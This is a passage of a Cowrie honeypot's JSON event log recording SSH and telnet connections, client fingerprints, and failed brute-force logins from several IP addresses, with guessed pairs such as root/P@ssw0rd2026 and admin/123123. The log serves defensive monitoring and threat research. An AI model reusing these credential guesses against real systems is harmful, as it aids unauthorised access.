{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:33.805054Z","src_ip":"45.153.34.114","session":"c764bf2e4d4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.146657943725586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:37.728642Z","src_ip":"74.91.213.120","session":"3f589ca0ad63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.520983457565308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:39.847341Z","src_ip":"74.91.213.120","session":"c90b3ec8aa4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.96.166.32","src_port":50904,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e3a85fefa1e","protocol":"telnet","message":"New connection: 185.96.166.32:50904 (159.203.135.109:23) [session: 2e3a85fefa1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:39.951281Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47626,"dst_ip":"159.203.135.109","dst_port":22,"session":"f239558837cb","protocol":"ssh","message":"New connection: 45.153.34.114:47626 (159.203.135.109:22) [session: f239558837cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:41.384554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:41.388795Z","src_ip":"45.153.34.114","session":"f239558837cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:41.471157Z","src_ip":"45.153.34.114","session":"f239558837cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:41.734689Z","src_ip":"45.153.34.114","session":"f239558837cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:42.820555Z","src_ip":"45.153.34.114","session":"f239558837cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33830,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2ce4f19904e","protocol":"ssh","message":"New connection: 45.153.34.114:33830 (159.203.135.109:22) [session: c2ce4f19904e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:49.902121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:49.907291Z","src_ip":"45.153.34.114","session":"c2ce4f19904e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:50.006930Z","src_ip":"45.153.34.114","session":"c2ce4f19904e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:50.285154Z","src_ip":"45.153.34.114","session":"c2ce4f19904e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:51.378381Z","src_ip":"45.153.34.114","session":"c2ce4f19904e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.552112817764282,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:57.503280Z","src_ip":"185.96.166.32","session":"2e3a85fefa1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":33842,"dst_ip":"159.203.135.109","dst_port":22,"session":"588d230385ed","protocol":"ssh","message":"New connection: 45.153.34.114:33842 (159.203.135.109:22) [session: 588d230385ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:58.006562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:58.013942Z","src_ip":"45.153.34.114","session":"588d230385ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:58.093195Z","src_ip":"45.153.34.114","session":"588d230385ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:58.436609Z","src_ip":"45.153.34.114","session":"588d230385ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:59.526341Z","src_ip":"45.153.34.114","session":"588d230385ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":56398,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ade1d5f6ff2","protocol":"ssh","message":"New connection: 103.75.199.4:56398 (159.203.135.109:22) [session: 8ade1d5f6ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:59.550522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:59.555611Z","src_ip":"103.75.199.4","session":"8ade1d5f6ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:59.650885Z","src_ip":"103.75.199.4","session":"8ade1d5f6ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:05:59.936641Z","src_ip":"103.75.199.4","session":"8ade1d5f6ff2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59422,"dst_ip":"159.203.135.109","dst_port":22,"session":"142fc120d947","protocol":"ssh","message":"New connection: 45.153.34.114:59422 (159.203.135.109:22) [session: 142fc120d947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:06.075321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:06.080515Z","src_ip":"45.153.34.114","session":"142fc120d947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:06.169469Z","src_ip":"45.153.34.114","session":"142fc120d947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":58016,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad072ec194df","protocol":"telnet","message":"New connection: 74.91.213.120:58016 (159.203.135.109:23) [session: ad072ec194df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:06.269865Z"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1111","message":"login attempt [user1/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:06.427409Z","src_ip":"45.153.34.114","session":"142fc120d947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:07.576025Z","src_ip":"45.153.34.114","session":"142fc120d947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38332,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cc56c8550e3","protocol":"ssh","message":"New connection: 45.153.34.114:38332 (159.203.135.109:22) [session: 7cc56c8550e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:13.944181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:13.949212Z","src_ip":"45.153.34.114","session":"7cc56c8550e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:14.045233Z","src_ip":"45.153.34.114","session":"7cc56c8550e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2026","message":"login attempt [root/P@ssw0rd2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:14.315179Z","src_ip":"45.153.34.114","session":"7cc56c8550e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":55402,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0f5599e25b5","protocol":"telnet","message":"New connection: 74.91.213.120:55402 (159.203.135.109:23) [session: d0f5599e25b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:14.526210Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:15.451436Z","src_ip":"45.153.34.114","session":"7cc56c8550e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58210,"dst_ip":"159.203.135.109","dst_port":22,"session":"efb2671fc91f","protocol":"ssh","message":"New connection: 45.153.34.114:58210 (159.203.135.109:22) [session: efb2671fc91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:22.359260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:22.367525Z","src_ip":"45.153.34.114","session":"efb2671fc91f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:22.460676Z","src_ip":"45.153.34.114","session":"efb2671fc91f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123456","message":"login attempt [git/git123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:22.721329Z","src_ip":"45.153.34.114","session":"efb2671fc91f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:23.807916Z","src_ip":"45.153.34.114","session":"efb2671fc91f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.90.105.6","src_port":37034,"dst_ip":"10.17.0.5","dst_port":22,"session":"68e2fc571f5c","protocol":"ssh","message":"New connection: 45.90.105.6:37034 (10.17.0.5:22) [session: 68e2fc571f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:26.267017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:06:26.271498Z","src_ip":"45.90.105.6","session":"68e2fc571f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hm